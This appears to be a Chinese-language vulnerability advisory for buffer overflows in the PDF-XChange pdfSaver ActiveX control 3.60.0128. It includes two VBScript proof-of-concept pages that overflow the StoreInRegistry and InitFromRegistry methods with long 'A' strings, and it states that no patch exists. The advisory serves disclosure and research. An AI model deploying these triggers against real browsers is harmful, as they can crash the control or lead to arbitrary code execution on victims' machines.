PDF-XChange pdfSaver ActiveX多个缓冲区溢出漏洞

发布日期：2012-01-29
更新日期：2012-10-16受影响系统：
Tracker Software Products PDF-XChange pdfSaver ActiveX 3.60.0128
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 51712PDF-XChange Viewer是免费的多功能PDF阅读器。PDF-XChange pdfSaver ActiveX 3.60.0128及其他版本存在多个缓冲区溢出漏洞，攻击者可利用这些漏洞在受影响应用中执行任意代码。<*来源：LiquidWorm
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！<object classid="clsid:2EE01CFA-139F-431E-BB1D-5E56B4DCEC18" id="zsl" />
<script language="vbscript">
targetFile = "C:PDF-XChangepdfSaverpdfxctrl.dll"
prototype = "Sub StoreInRegistry （ ByVal page_id As PdfPrinterDialogPage , ByVal sub_path As String ）"
memberName = "StoreInRegistry"
progid = "pdfxctrlLib.PdfPrinterPreferences"
argCount = 2
arg1=1
arg2=String（6164, "A"）
zsl.StoreInRegistry arg1 ,arg2
</script>
--------------------
<object classid="clsid:2EE01CFA-139F-431E-BB1D-5E56B4DCEC18" id="zsl" />
<script language="vbscript">
targetFile = "C:PDF-XChangepdfSaverpdfxctrl.dll"
prototype = "Sub InitFromRegistry （ ByVal page_id As PdfPrinterDialogPage , ByVal sub_key As String ）"
memberName = "InitFromRegistry"
progid = "pdfxctrlLib.PdfPrinterPreferences"
argCount = 2
arg1=1
arg2=String（14356, "A"）
zsl.InitFromRegistry arg1 ,arg2
</script>建议：
--------------------------------------------------------------------------------
厂商补丁：Tracker Software Products
-------------------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：http://www.docu-track.com/home/prod_user/Ubuntu Software Properties PPA GPG密钥验证安全绕过漏洞Monkey HTTP Daemon "/var/run/monkey.pid"符号链接攻击本地权限提升相关资讯缓冲区溢出漏洞 PDF-XChange Viewer安全漏洞 PDF-XChange Viewer

Novell iPrint Client 缓冲区溢出（05/04/2013 07:13:08）
Siemens WinCC CCEServer缓冲区溢（03/22/2013 19:25:09）
EMC AlphaStor DCP缓冲区溢出漏洞（02/05/2013 09:14:34）

Siemens WinCC RegReader ActiveX （03/24/2013 08:07:04）
Novell Messenger / Groupwise （03/18/2013 20:58:20）
GNU Coreutils ‘sort’Text （02/02/2013 07:27:30）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任